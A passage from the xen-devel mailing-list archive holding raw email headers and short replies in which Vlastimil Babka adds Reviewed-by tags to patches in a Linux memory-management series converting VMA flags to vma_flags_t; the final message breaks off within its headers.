 Wed, 22 Jul 2026 14:19:54 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 0E6961F000E9;
 Wed, 22 Jul 2026 14:19:35 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784729993;
	bh=E1fZtyJMG9BfhlBz0sxJsvbizOy4XPOaAolVzZbKG2U=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=BqxaWu0YTlU0ACbArZmL1FzVAFZZB99uC8ks1vtMhYpCgqApT2szyxYcg1xfNPabV
	 vGSiTNffzTx44l3VWUJEAhlKvwfBY3Xra1IVdmogCBtFsk9nzjk+BGE1KLD5RpS7yY
	 xng/3auPQfLkXlvbFds3mkE+ZTq8CD+HG6nXSTfbPPYRYcfhkE8M7wT9pQKJoGIC6I
	 AbYfEKSjq3JxuczuH2nnoB2mE1hfB2CFJxBsxovd00Kl34r3hXvL97tmTc4k/sHWSy
	 TmquS1Z60ecsbwmO27nqyZ5HdEjOPRSPo1EtEzsS8vtOCqC7V2r8idg0kkU4mns8HT
	 nM+l659nsR41A==
Message-ID: <141b2b88-477c-4f54-a378-fbd3bb596cfd@kernel.org>
Date: Wed, 22 Jul 2026 16:19:34 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 04/13] mm: update generic_get_unmapped_area[_topdown]()
 to use vma_flags_t
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-4-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAzIimfLD5EKC56kJ1CsXlM8S/LHcmdD9Ctkn3trYDNnat0eoAcfPIP2OZ+
 9oe9IF/R28zmh0ifLXyJQQz5ofdj4bPf8ecEW0rhcqHfTD8k4yK0xxt3xW+6Exqp9n9bydiy
 tcSAw/TahjW6yrA+6JhSBv1v2tIm+itQc073zjSX8OFL51qQVzRFr7H2UQG33lw2QrvHRXqD
 Ot7ViKam7v0Ho9wEWiQOOZlHItOOXFphWb2yq3nzrKe45oWoSgkxKb97MVsQ+q2SYjJRBBH4
 8qKhphADYxkIP6yut/eaj9ImvRUZZRi0DTc8xfnvHGTjKbJzC2xpFcY0DQbZzuwsIZ8OPJCc
 LM4S7mT25NE5kUTG/TKQCk922vRdGVMoLA7dIQrgXnRXtyT61sg8PG4wcfOnuWf8577aXP1x
 6mzw3/jh3F+oSBHb/GcLC7mvWreJifUL2gEdssGfXhGWBo6zLS3qhgtwjay0Jl+kza1lo+Cv
 BB2T79D4WGdDuVa4eOrQ02TxqGN7G0Biz5ZLRSFzQSQwLn8fbwARAQABzSNWbGFzdGltaWwg
 QmFia2EgPHZiYWJrYUBrZXJuZWwub3JnPsLBsAQTAQoAWhYhBKlA1DSZLC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OrIuBGl/5q2qSakgnAVFWFBR/DO27JuAksYnq
 +aH8vI0xGvwn75KqSk4UzAkDzWSmO4ZHuahKtQgZNsMYV+PGayRBX9b9zbldzopoLBdqHc4n
 jQARAQABwsF8BBgBCgAmAhsMFiEEqUDUNJksLo6ZED1QIk+n58yCpmQFAmfIHFQFCRYU6J8A
 CgkQIk+n58yCpmS2PA//bqN1LfcotmArgElsa+0EGZSQlYgK48pm8WAeTXTngudP9IJ4SuKY
 HR5RNjHcBeqN+Me0zxRqYzRb8nGanHEkDyf4Im8DQM8d6vbyU+FcPmG4skud4kgS1zMHnlVd
 SXfSIwKC/hKgdHG8aBV7545Lz9X6Iohea+94wneD0aw/hqF+QWewGZhWJriWAZtvEkzNjQOi
 4U9F/trLten/x7bpphDSnDMKJtITbtzATT1Dq7o7VpIUK1nCTQALMuMjKCdi8OdU/+V+R3O4
 0PXWvX8qrvqYapVbZ+9KqT74FsuB0Ya9uXwgBF2Q6cRuETZk5vqaqKxzqoQZCO8AOz/58j6O
 2RHNy/mZEN+7tJ5Tsq42zVJ4jxsT8b9YplavCMsnBgDeRWhcbYhCyttoL7nYISyWg4kQYZ/P
 wIV3OuNv2f8iKYsxNsRuClOAF82+gvqOy1/1pprFjy8uo2pkoOrb63aOP3vO5VHnRKgra6dq
 NcaZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-4-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1784729996-6C8DD4E9-2F555E4E/0/0
X-purgate-type: clean
X-purgate-size: 683

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> As part of the changes converting VMA flags from a system word size to a
> bitmap, extend this change to generic_get_unmapped_area() and
> generic_get_unmapped_area_topdown(), which also allows us to convert
> stack_guard_placement() as well.
> 
> We retain arch_get_unmapped_area() and arch_get_unmapped_area_topdown()
> as-is for now, using legacy_to_vma_flags() as necessary to do so.
> 
> No functional change intended.
> 
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 14:32:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 14:32:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368481.1617825 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmXz8-0001Pg-DO; Wed, 22 Jul 2026 14:31:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368481.1617825; Wed, 22 Jul 2026 14:31:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmXz8-0001PY-9r; Wed, 22 Jul 2026 14:31:46 +0000
Received: by outflank-mailman (input) for mailman id 1368481;
 Wed, 22 Jul 2026 14:31:45 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmXz6-0001PQ-Uu
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 14:31:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmXz6-00GgQz-Bj
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 16:31:44 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d442-2eae-0a2a0a5409dd-0a2a4505bd82-26
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:31:44 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d44f-4cb1-0a2a45050019-ac6904fee368-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:31:44 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 66593600E1;
 Wed, 22 Jul 2026 14:31:42 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 735B01F00A3A;
 Wed, 22 Jul 2026 14:31:24 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784730702;
	bh=OvPrDFwM1EEVYtQ4pZxzQ4Crg7V635gU058Fwjy4pjg=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=Z312ICh01hwf5PNipjdUbCmTEpxOFlzpFrFpEbvVg2M62vqBeTEwf2myPaFZw7tPE
	 VB8S2/xH3Cb64UA1VtTgUUNTgWkDHNnMSRIScWWwylFYdqQUJf29ZSBT+8tvuVKFT+
	 qpgOuQvv4nbvr4jbtsA43T6qNk4ivRr13hGczyw/g2FSRI/UCbh4ijU+6nZylJLPk5
	 +vUMLKp/zTcjlaGh9h6kCxmkwMXMYDyA4hWh4uxOZC5o0Hhq3C4INZyEa9oR4qk8id
	 AL8BavBz/vrgJflUQPB3q0Ym1iVOZACXNzbgj3bOumnwJsWuqmyNhwK6KU112+LaeT
	 oiB3ruF4FVC7g==
Message-ID: <0c9b4dbb-95c2-4d19-935e-18a45d8aefd2@kernel.org>
Date: Wed, 22 Jul 2026 16:31:22 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 05/13] mm: prefer mm->def_vma_flags in mm logic
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
 <abhinav.kumar@linux.dev>, Jessica Zhang <jesszhan0024@gmail.com>,
 Sean Paul <sean@poorly.run>, Marijn Suijten <marijn.suijten@somainline.org>,
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>,
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>,
 Sandy Huang <hjc@rock-chips.com>, =?UTF-8?Q?Heiko_St=C3=BCbner?=
 <heiko@sntech.de>, Andy Yan <andy.yan@rock-chips.com>,
 Thierry Reding <thierry.reding@kernel.org>,
 Mikko Perttunen <mperttunen@nvidia.com>,
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>,
 Dmitry Osipenko <dmitry.osipenko@collabora.com>,
 Gurchetan Singh <gurchetansingh@chromium.org>, Chia-I Wu
 <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Matthew Brost <matthew.brost@intel.com>,
 =?UTF-8?Q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>,
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>,
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>,
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>,
 Boris Brezillon <boris.brezillon@collabora.com>,
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
 linux-mips@vger.kernel.org, linux-aio@kvack.org,
 linux-fsdevel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 dri-devel@lists.freedesktop.org, etnaviv@lists.freedesktop.org,
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org,
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org,
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev,
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org,
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
 <20260711-b4-vma-flags-mm-v2-5-0fa2357d5431@kernel.org>
From: "Vlastimil Babka (SUSE)" <vbabka@kernel.org>
Autocrypt: addr=vbabka@kernel.org; keydata=
 xsFNBFZdmxYBEADsw/SiUSjB0dM+vSh95UkgcHjzEVBlby/Fg+g42O7LAEkCYXi/vvq31JTB
 KxRWDHX0R2tgpFDXHnzZcQywawu8eSq0LxzxFNYMvtB7sV1pxYwej2qx9B75qW2plBs+7+YB
 87tMFA+u+L4Z5xAz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VpIUK1nCTQALMuMjKCdi8OdU/+V+R3O4
 0PXWvX8qrvqYapVbZ+9KqT74FsuB0Ya9uXwgBF2Q6cRuETZk5vqaqKxzqoQZCO8AOz/58j6O
 2RHNy/mZEN+7tJ5Tsq42zVJ4jxsT8b9YplavCMsnBgDeRWhcbYhCyttoL7nYISyWg4kQYZ/P
 wIV3OuNv2f8iKYsxNsRuClOAF82+gvqOy1/1pprFjy8uo2pkoOrb63aOP3vO5VHnRKgra6dq
 NcaZ+c6J4H+nEJGi2SkHAUJz5oBzuThvPudLvPA/SK8sKoM01IRxSihev/S/5WLazXB1PGem
 OCbvzC1IjWJJraxiDJ5IygokapUa2RP7+WBR22skQ3SSl6G107QgWKSyTOGWEaRmV53vxQLV
 jXuCmzSSasTL60zq5yGrT4/DYQVSNEUiUbG4pYekxJujNeEDkUlky0Y=
In-Reply-To: <20260711-b4-vma-flags-mm-v2-5-0fa2357d5431@kernel.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784730704-24D1E2A1-69C3F1C4/0/0
X-purgate-type: clean
X-purgate-size: 969

On 7/11/26 20:45, Lorenzo Stoakes wrote:
> Currently mm->def_flags (of type vm_flags_t) is union'd with
> mm->def_vma_flags (of type vma_flags_t).
> 
> As part of the effort to convert vm_flags_t usage to vma_flags_t (in order
> to no longer be arbitrarily limited to a system word size for VMA flags),
> prefer mm->def_vma_flags to mm->def_flags throughout the mm logic.
> 
> We update dump_mm() to use the %*pb format which means we make no
> assumption about the number of VMA flag bits on output when outputting
> default VMA flags.
> 
> No functional change intended.
> 
> Reviewed-by: Lance Yang <lance.yang@linux.dev>
> Reviewed-by: Zi Yan <ziy@nvidia.com>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  mm/debug.c |  5 +++--
>  mm/mlock.c | 13 +++++++------
>  mm/mmap.c  | 11 ++++++-----
>  mm/vma.c   |  2 +-
>  4 files changed, 17 insertions(+), 14 deletions(-)

Reviewed-by: Vlastimil Babka (SUSE) <vbabka@kernel.org>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 14:35:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 14:35:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368491.1617834 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmY2U-0001wd-RB; Wed, 22 Jul 2026 14:35:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368491.1617834; Wed, 22 Jul 2026 14:35:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmY2U-0001wW-OM; Wed, 22 Jul 2026 14:35:14 +0000
Received: by outflank-mailman (input) for mailman id 1368491;
 Wed, 22 Jul 2026 14:35:14 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <vbabka@kernel.org>) id 1wmY2U-0001wQ-0Z
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 14:35:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmY2T-00D1HJ-Cm
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 16:35:13 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d511-e002-0a2a0a5209dd-0a2a4507ab7e-32
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:35:13 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <vbabka@kernel.org>)
 id 6a60d51f-b4ea-0a2a45070019-ac6904fead32-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 16:35:13 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 4B0A1600AF;
 Wed, 22 Jul 2026 14:35:11 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 526301F000E9;
 Wed, 22 Jul 2026 14:34:53 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1784730911;
	bh=v3Dka0Kxl0RaJGtuTH0yTzaDEXoIUNO9u9IFv8oVYKs=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=BoNSrvzJYQLAEfX3sCIxyc7ZkwirgsWknsff/Mra8/IlU74HXActL9HeMA579jh44
	 T9qmfb4rlcf+ZSuQDXLSpBUeDY2tak0s32nJdFgrBrk09Qk7VXEx5T5+B2A9t2i4lb
	 T7KREF6hvGI4oAnK+1xITP1UHiLneP8l7RBubqbljEBi0slULes/fvkmxRdOX71MpV
	 bMSLulS5NDO9ufYBlKQbRqcLa2jMXn1Kw4jzPErEyJEwl6CA4ywx5ldWZSfTgLsHwM
	 sBj+KtFeUnsVFLsqvy7yitX1QTr82nsrUT3PDi6UDnxpJzhWaBjScQs6EGuKMa4pWl
	 ZBBB1SQ2Xhywg==
Message-ID: <eea9c6bf-5ff9-45de-ac92-784a174ff61b@kernel.org>
Date: Wed, 22 Jul 2026 16:34:51 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2 06/13] mm/vma: convert vm_pgprot_modify() to use
 vma_flags_t and rename
Content-Language: en-US
To: Lorenzo Stoakes <ljs@kernel.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 David Hildenbrand <david@kernel.org>, "Liam R. Howlett"
 <liam@infradead.org>, Mike Rapoport <rppt@kernel.org>,
 Suren Baghdasaryan <surenb@google.com>, Michal Hocko <mhocko@suse.com>,
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>,
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>,
 Hugh Dickins <hughd@google.com>, Baolin Wang
 <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>,
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>,
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>,
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>,
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>,
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>,
 Madhavan Srinivasan <maddy@linux.ibm.com>,
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>,
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>,
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>,
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
 Lucas Stach <l.stach@pengutronix.de>,
 Russell King <linux+etnaviv@armlinux.org.uk>,
 Christian Gmeiner <christian.gmeiner@gmail.com>,
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>,
 Kyungmin Park <kyungmin.park@samsung.com>,
 Krzysztof Kozlowski <krzk@kernel.org>,
 Peter Griffin <peter.griffin@linaro.org>,
 Alim Akhtar <alim.akhtar@samsung.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, Rob Clark <robin.clark@oss.qualcomm.com>,
 Dmitry Baryshkov <lumag@kernel.org>, Abhinav Kumar
